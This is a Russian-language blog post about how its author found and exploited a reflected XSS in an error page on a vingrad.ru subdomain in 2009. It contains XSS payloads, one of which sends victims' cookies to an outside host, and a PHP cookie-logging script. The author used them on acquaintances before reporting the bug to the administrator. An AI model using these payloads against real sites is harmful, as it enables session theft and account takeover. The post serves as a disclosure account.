Как стать автором
Обновить

История одного ресурса

Информационная безопасность *
логотип форума Многие из хабраюзеров хоть раз в свой жизни встречались с XSS-уязвимостью, будь-то уязвимость на сайте-визитке, блоге, etc. Но мы верили надеялись, что такие гиганты как yandex, mail, youtube от этого защищены, но цикл статей от chelovekdimka нас в этом разубедил.

А как же обстоят дела на одном из крупных ресурсах Рунета посвященному программистам?! Кому интересно – добро пожаловать.

Как все начиналось


На дворе стоял сентябрь 2009 год. Я, зеленый и сопливый веб-разработчик, получил должность КоМодератора PHP раздела. Счастливый как слон изучал открывшиеся возможности, как вдруг меня посетила шальная мысль – «а не проверить ли мне форум на уязвимости?».
SQL-уязвимость мне не удалось обнаружить, а вот XSS’ку нашел.

XSS – что это такое и с чем это едят?!

XSS-атака – тип уязвимости интерактивных информационных систем в вебе. XSS возникает, когда в генерируемые сервером страницы по какой-то причине попадают пользовательские скрипты. Специфика подобных атак заключается в том, что вместо непосредственной атаки сервера они используют уязвимый сервер в качестве средства атаки на клиента.

Условно их делят на два вида:
  • активная, хранится на сервере и срабатывает при открытии какой-либо страницы заражённого сайта;
  • пассивная, не хранится на сервере уязвимого сайта и не может автоматически выполниться в браузере жертвы. Для срабатывания требуется некое дополнительное действие (например, клик по специально сформированной ссылке).

Поиск по форуму


После N-часов изучения и терзания движка на разные запросы у меня опустились руки. И затея стала казаться не такой уж радужной. И тут пришла шальная мысль №2 – «если форум не поддается, надо зайти с тыла другой стороны».
Еще бы, форум базируется на Invision Power Board и все патчи к тому времени были поставлены.


Обследуем дружественные ресурсы (*.vingrad.ru)


Мое внимание привлекла «База знаний», а именно поле для поиска, и не зря.

Вбив в поле любимую конструкцию <script>alert('XSS');</script> я … ничего не получил. Поиграв немного с параметрами был редиректнут на скрипт error.php c сообщением об ошибки, причем текст передавался обычным GET’ом. Profit!

Легким движением руки данные в адресной строке моментально превратились в httр://<subdomain>.vingrad.ru/error.php?msg=<script>alert('XSS');</script> и дрожащая рука потянулась к энтеру.
Думаю Вы сами догадались что произошло, но все же:
XSS
Минут 10 я как дурак улыбался экрану и думал о вечном.


А можно ли извлечь «выгоду»?


Конечно, никакую выгоду я извлекать не хотел и не пытался, а всего лишь хотел получить cookie зарегистрированного пользователя)
Но форма авторизации меня смущала, а ведь я авторизирован на форуме. Значит сквозная авторизация не действует и надо как-то заставить пользователя авторизоваться, а только потом перейти по нашему адресу. В социальной инженерии я полный ноль, значит ищем другие пути.

Одного взгляда на установленные cookie было достаточно:

Уязвимость можно эксплуатировать (куки устанавливались для всех поддоменов – *.vingrad.ru).

Меняем запрос на такой:
httр://<subdomain>.vingrad.ru/error.php?msg=<script>document.write(document.cookie.substring(0, document.cookie.length))</script>
И получаем долгожданные данные:
PHPSESSID=ag08ccg6fsdf5fdgsdf34a34s536df4f;
clickedFolderFrameless=;
PHPSESSID=eccf4sdasbefea3c8esgdf27997d;
pforumsession_id=3ds44554sgg6754f1dd73f27ab7ec;
pforummember_id=007;
pforumpass_hash=u3457a1259a39asb2ad4c77e682;


Используем уязвимость


Небольшой скрипт на PHP, бережно сохраняющий куки пользователей в файл:
<?php
if( isset( $_GET['q'] ) )
{
    $fopen = fopen( time().'.cookie', 'w' );
    fwrite( $fopen, $_GET['q'] );
    fclose( $fopen );
}

header('Location: http://forum.vingrad.ru/forum/act-idx.html');
?>

и в последний раз измененный запрос:
httр://<subdomain>.vingrad.ru/error.php?msg=<script>document.location.href='httр://www.example.com/forum.php?vingrad='%2Bescape(document.cookie.substring(0, document.cookie.length))</script>
позволил собрать куки нескольких знакомых)
Чудес не бывает, всем участникам эксперимента была разослана ссылка, по которой они и перешли.

Конец


Естественно администратор был оповещен об этом, и вместе с ним мы закрыли эту уязвимость.
Перед всеми пострадавшими были принесены извинения.
Никто не обиделся.


Пару ссылок

Теги:
Хабы:
Всего голосов 53: ↑29 и ↓24 +5
Просмотры 1.1K
Комментарии Комментарии 31